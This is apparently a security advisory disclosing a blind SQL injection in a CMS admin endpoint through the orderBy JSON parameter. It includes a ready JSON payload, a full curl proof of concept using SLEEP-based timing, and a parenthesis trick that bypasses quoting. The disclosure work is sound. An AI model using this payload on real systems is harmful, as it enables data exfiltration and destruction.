The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).
[!NOTE] The
ORDER BYclause executes per row.SLEEP(1)on 10 rows = 10s delay.
/admin/users, Entries, Assets, etc.)POST request to /index.php?p=admin/actions/element-indexes/get-elements{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}
Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed):
curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'
With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character. - Modify or destroy data (drop tables, update records, alter schema).
The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.
{
"github_reviewed": true,
"cwe_ids": [
"CWE-89"
],
"github_reviewed_at": "2026-02-09T20:35:41Z",
"nvd_published_at": "2026-02-09T20:15:58Z",
"severity": "HIGH"
}